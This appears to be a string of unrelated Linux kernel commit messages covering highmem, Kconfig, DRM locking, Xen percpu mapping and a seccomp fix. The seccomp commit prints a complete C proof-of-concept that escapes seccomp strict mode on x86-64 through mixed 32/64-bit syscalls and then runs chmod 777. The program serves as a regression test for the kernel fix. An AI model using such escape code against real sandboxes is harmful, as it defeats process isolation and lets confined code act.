Impact: cleanup This patch moves set_highmem_pages_init() to arch/x86/mm/highmem_32.c. The declaration of the function is kept in asm/numa_32.h because asm/highmem.h is included only if CONFIG_HIGHMEM is enabled so we can't put the empty static inline function there.

This reverts commit 155b25bc, which was totally wrong - the "embedded" options still exists (very much so) even on non-embedded platforms. It's just that we don't bother with actually asking about them when we're not embedded, we just take their default values (which is usually 'y' - the options add features that may not be worth it in a constrained environment).

Thomas Hellstrom authored
This is done by 1) Wake up lock waiters when we close the master file descriptor. Not when the master structure is removed, since the latter requires the waiters themselves to release the refcount on the master structure -> Deadlock. 2) Send a SIGTERM to all clients waiting for the lock. Normally these clients will get a SIGPIPE when the X server dies, but clients may also spin trying to grab the DRM lock, without getting any sort of notification.

The COMPAT_BRK kconfig symbol does not depend on EMBEDDED, but it is in the midst of the EMBEDDED menu symbols, so it mucks up the EMBEDDED menu. Fix by moving it to just after all of the EMBEDDED menu symbols. Also, surround all of the EMBEDDED symbols with "if EMBEDDED"/"endif" so that this EMBEDDED block is clearer.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

The virtually mapped percpu space causes us two problems: - for hypercalls which take an mfn, we need to do a full pagetable walk to convert the percpu va into an mfn, and - when a hypercall requires a page to be mapped RO via all its aliases, we need to make sure its RO in both the percpu mapping and in the linear mapping This primarily affects the gdt and the vcpu info structure.
